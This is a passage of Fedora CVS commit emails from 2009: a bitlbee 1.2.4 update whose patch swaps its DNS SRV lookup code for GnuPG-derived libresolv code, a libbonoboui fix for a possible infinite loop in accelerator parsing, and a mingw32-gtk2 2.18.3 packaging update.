-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:45 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:12 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-5/bitlbee.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- bitlbee.spec	16 Aug 2009 22:43:43 -0000	1.8
+++ bitlbee.spec	17 Oct 2009 18:56:12 -0000	1.9
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -125,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-5/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:45 -0000	1.7
+++ sources	17 Oct 2009 18:56:12 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From mclasen at fedoraproject.org  Sat Oct 17 19:06:56 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 17 Oct 2009 19:06:56 +0000 (UTC)
Subject: rpms/libbonoboui/F-12 accelerator-loop.patch, NONE,
	1.1 libbonoboui.spec, 1.71, 1.72
Message-ID: <20091017190657.0189711C00EC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libbonoboui/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3214

Modified Files:
	libbonoboui.spec 
Added Files:
	accelerator-loop.patch 
Log Message:
fix a possible infinite loop


accelerator-loop.patch:
 bonobo-ui-util.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE accelerator-loop.patch ---
diff --git a/bonobo/bonobo-ui-util.c b/bonobo/bonobo-ui-util.c
index 99b56a4..bba0f02 100644
--- a/bonobo/bonobo-ui-util.c
+++ b/bonobo/bonobo-ui-util.c
@@ -1251,6 +1251,10 @@ bonobo_ui_util_accel_parse (const char        *accelerator,
 				gchar last_ch;
 	      
 				last_ch = *accelerator;
+				if (!last_ch || last_ch == DELIM_POST) {
+					g_warning ("Unknown accelerator - '%s'", accelerator);
+					return;
+				}
 				while (last_ch && last_ch != DELIM_POST)
 				{
 					last_ch = *accelerator;



Index: libbonoboui.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libbonoboui/F-12/libbonoboui.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- libbonoboui.spec	24 Sep 2009 01:43:18 -0000	1.71
+++ libbonoboui.spec	17 Oct 2009 19:06:56 -0000	1.72
@@ -14,7 +14,7 @@
 Summary: Bonobo user interface components
 Name: libbonoboui
 Version: 2.24.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/libbonoboui/2.24/%{name}-%{version}.tar.bz2
 License: GPLv2+ and LGPLv2+
@@ -39,6 +39,9 @@ BuildRequires: glib2-devel >= %{glib2_ve
 BuildRequires: libXt-devel
 BuildRequires: gettext
 
+# from upstream
+Patch0: accelerator-loop.patch
+
 %description
 
 Bonobo is a component system based on CORBA, used by the GNOME
@@ -71,6 +74,7 @@ use libbonoboui.
 
 %prep
 %setup -q -n %{name}-%{version}
+%patch0 -p1 -b .accelerator-loop
 
 %build
 
@@ -118,6 +122,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/libbonoboui
 
 %changelog
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.24.2-2
+- Fix a possible infinite loop
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.24.2-1
 - Update to 2.24.2
 



From epienbro at fedoraproject.org  Sat Oct 17 19:15:07 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Sat, 17 Oct 2009 19:15:07 +0000 (UTC)
Subject: rpms/mingw32-gtk2/F-12 .cvsignore, 1.13, 1.14 gdk-pixbuf.loaders,
	1.3, 1.4 mingw32-gtk2.spec, 1.22, 1.23 sources, 1.13,
	1.14 mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch, 1.1, NONE
Message-ID: <20091017191507.A926311C00EC@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6537

Modified Files:
	.cvsignore gdk-pixbuf.loaders mingw32-gtk2.spec sources 
Removed Files:
	mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch 
Log Message:
* Sat Oct 17 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.3-1
- Update to 2.18.3
- Drop upstreamed patch (GNOME BZ #597535)
- Re-enable GDI+ support as it's fixed upstream (GNOME BZ #552678)
- This release contains a workaround for a rendering bug which got
  introduced during the CSW merge (GNOME BZ #598299)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	6 Oct 2009 09:06:49 -0000	1.13
+++ .cvsignore	17 Oct 2009 19:15:06 -0000	1.14
@@ -1 +1 @@
-gtk+-2.18.2.tar.bz2
+gtk+-2.18.3.tar.bz2


Index: gdk-pixbuf.loaders
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/gdk-pixbuf.loaders,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gdk-pixbuf.loaders	20 Sep 2009 10:32:41 -0000	1.3
+++ gdk-pixbuf.loaders	17 Oct 2009 19:15:06 -0000	1.4
@@ -1,6 +1,6 @@
 # GdkPixbuf Image Loader Modules file
 # Automatically generated file, do not edit
-# Created by gdk-pixbuf-query-loaders.exe from gtk+-2.17.1
+# Created by gdk-pixbuf-query-loaders.exe from gtk+-2.18.3
 #
 # LoaderDir = Z:\usr\i686-pc-mingw32\sys-root\mingw/lib/gtk-2.0/2.10.0/loaders
 #
@@ -10,49 +10,24 @@
 "ani" ""
 "RIFF    ACON" "    xxxx    " 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.dll"
-"bmp" 5 "gtk20" "The BMP image format" "LGPL"
-"image/bmp" "image/x-bmp" "image/x-MS-bmp" ""
-"bmp" ""
-"BM" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll"
-"tiff" 1 "gtk20" "The TIFF image format" "LGPL"
-"image/tiff" ""
-"tiff" "tif" ""
-"MM *" "  z " 100
-"II* " "   z" 100
-"II* \020   CR\002 " "   z zzz   z" 0
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.dll"
-"gif" 4 "gtk20" "The GIF image format" "LGPL"
-"image/gif" ""
-"gif" ""
-"GIF8" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.dll"
-"ico" 5 "gtk20" "The ICO image format" "LGPL"
-"image/x-icon" "image/x-ico" "image/x-win-bitmap" ""
-"ico" "cur" ""
-"  \001   " "zz znz" 100
-"  \002   " "zz znz" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.dll"
+"ras" 4 "gtk20" "The Sun raster image format" "LGPL"
+"image/x-cmu-raster" "image/x-sun-raster" ""
+"ras" ""
+"Y\246j\225" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll"
-"tga" 4 "gtk20" "The Targa image format" "LGPL"
-"image/x-tga" ""
-"tga" "targa" ""
-" \001\001" "x  " 100
-" \001\t" "x  " 100
-"  \002" "xz " 99
-"  \003" "xz " 100
-"  \n" "xz " 100
-"  \013" "xz " 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.dll"
+"jpeg2000" 4 "gtk20" "The JPEG 2000 image format" "LGPL"
+"image/jp2" "image/jpeg2000" "image/jpx" ""
+"jp2" "jpc" "jpx" "j2k" "jpf" ""
+"    jP" "!!!!  " 100
+"\377O\377Q" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll"
-"jpeg" 5 "gtk20" "The JPEG image format" "LGPL"
-"image/jpeg" ""
-"jpeg" "jpe" "jpg" ""
-"\377\330" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-emf.dll"
+"emf" 4 "gtk20" "Het EMF-bestandsformaat" "LGPL"
+"application/emf" "application/x-emf" "image/x-emf" "image/x-mgx-emf" ""
+"emf" ""
+"\001" "" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll"
 "wbmp" 4 "gtk20" "The WBMP image format" "LGPL"
@@ -63,24 +38,18 @@
 " @" "z " 1
 "  " "z " 1
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.dll"
-"xpm" 4 "gtk20" "The XPM image format" "LGPL"
-"image/x-xpixmap" ""
-"xpm" ""
-"/* XPM */" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll"
-"icns" 4 "gtk20" "The ICNS image format" "GPL"
-"image/x-icns" ""
-"icns" ""
-"icns" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-ico.dll"
+"ico" 4 "gtk20" "Het ICO-bestandsformaat" "LGPL"
+"image/x-icon" "image/x-ico" ""
+"ico" "cur" ""
+"  \001   " "zz znz" 100
+"  \002   " "zz znz" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.dll"
-"jpeg2000" 4 "gtk20" "The JPEG 2000 image format" "LGPL"
-"image/jp2" "image/jpeg2000" "image/jpx" ""
-"jp2" "jpc" "jpx" "j2k" "jpf" ""
-"    jP" "!!!!  " 100
-"\377O\377Q" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.dll"
+"png" 5 "gtk20" "The PNG image format" "LGPL"
+"image/png" ""
+"png" ""
+"\211PNG\r\n\032\n" "" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-pcx.dll"
 "pcx" 4 "gtk20" "The PCX image format" "LGPL"
@@ -92,12 +61,6 @@
 "\n\004\001" "" 100
 "\n\005\001" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.dll"
-"png" 5 "gtk20" "The PNG image format" "LGPL"
-"image/png" ""
-"png" ""
-"\211PNG\r\n\032\n" "" 100
-
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-pnm.dll"
 "pnm" 4 "gtk20" "The PNM/PBM/PGM/PPM image format family" "LGPL"
 "image/x-portable-anymap" "image/x-portable-bitmap" "image/x-portable-graymap" "image/x-portable-pixmap" ""
@@ -109,11 +72,30 @@
 "P5" "" 100
 "P6" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.dll"
-"ras" 4 "gtk20" "The Sun raster image format" "LGPL"
-"image/x-cmu-raster" "image/x-sun-raster" ""
-"ras" ""
-"Y\246j\225" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-gif.dll"
+"gif" 5 "gtk20" "Het GIF-bestandsformaat" "LGPL"
+"image/gif" ""
+"gif" ""
+"GIF8" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll"
+"icns" 4 "gtk20" "The ICNS image format" "GPL"
+"image/x-icns" ""
+"icns" ""
+"icns" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.dll"
+"xpm" 4 "gtk20" "The XPM image format" "LGPL"
+"image/x-xpixmap" ""
+"xpm" ""
+"/* XPM */" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-tiff.dll"
+"tiff" 5 "gtk20" "The TIFF image format" "LGPL"
+"image/tiff" ""
+"tiff" "tif" ""
+"MM *" "  z " 100
+"II* " "   z" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xbm.dll"
 "xbm" 4 "gtk20" "The XBM image format" "LGPL"
@@ -122,3 +104,33 @@
 "#define " "" 100
 "/*" "" 50
 
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-jpeg.dll"
+"jpeg" 5 "gtk20" "Het JPEG-bestandsformaat" "LGPL"
+"image/jpeg" ""
+"jpeg" "jpe" "jpg" ""
+"\377\330" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll"
+"tga" 4 "gtk20" "The Targa image format" "LGPL"
+"image/x-tga" ""
+"tga" "targa" ""
+" \001\001" "x  " 100
+" \001\t" "x  " 100
+"  \002" "xz " 99
+"  \003" "xz " 100
+"  \n" "xz " 100
+"  \013" "xz " 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-wmf.dll"
+"wmf" 4 "gtk20" "Het WMF-bestandsformaat" "LGPL"
+"image/x-wmf" ""
+"wmf" "apm" ""
+"\327\315\306\232" "" 100
+"\001" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll"
+"bmp" 5 "gtk20" "Het BMP-bestandsformaat" "LGPL"
+"image/bmp" "image/x-bmp" "image/x-MS-bmp" ""
+"bmp" ""
+"BM" "" 100
+


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/mingw32-gtk2.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mingw32-gtk2.spec	6 Oct 2009 15:03:00 -0000	1.22
+++ mingw32-gtk2.spec	17 Oct 2009 19:15:07 -0000	1.23
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.2
+Version:        2.18.3
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -33,9 +33,6 @@ Patch1001:      mingw32-gtk2-enable_stat
 # Some Fedora-MinGW-specific changes are required by mingw32-libjpeg 7
 Patch1002:      mingw32-gtk2-libjpeg7-compatibility.patch
 
-# GNOME Bugzilla #597535
-Patch1003:      mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch
-
 BuildArch:      noarch
 
 BuildRequires:  mingw32-filesystem >= 49
@@ -97,7 +94,6 @@ Static version of the MinGW Windows Gtk2
 %patch1000 -p1
 %patch1001 -p0
 %patch1002 -p0
-%patch1003 -p0
 
 # Regenerate the configure script
 aclocal
@@ -109,7 +105,7 @@ libtoolize
 # Need to run the correct version of glib-mkenums.
 PATH=%{_mingw32_bindir}:$PATH
 
-%{_mingw32_configure} --disable-cups --enable-static --disable-gdiplus --with-libjasper
+%{_mingw32_configure} --disable-cups --enable-static --enable-gdiplus --with-libjasper
 make %{?_smp_mflags}
 
 
@@ -156,6 +152,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_bindir}/gtk-demo.exe
 %{_mingw32_bindir}/gtk-query-immodules-2.0.exe
 %{_mingw32_bindir}/gtk-update-icon-cache.exe
+%{_mingw32_bindir}/gtk-update-icon-cache.exe.manifest
 %{_mingw32_bindir}/libgailutil-18.dll
 %{_mingw32_bindir}/libgdk-win32-2.0-0.dll
 %{_mingw32_bindir}/libgdk_pixbuf-2.0-0.dll
@@ -207,7 +204,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.la
-%if 0
+%if 1
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.la
@@ -242,6 +239,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.la
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.la
 %endif
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll.a
@@ -264,9 +264,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.la
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.la
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.la
@@ -321,26 +318,42 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/immodules/im-ti-et.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/immodules/im-viqr.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ani.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.la
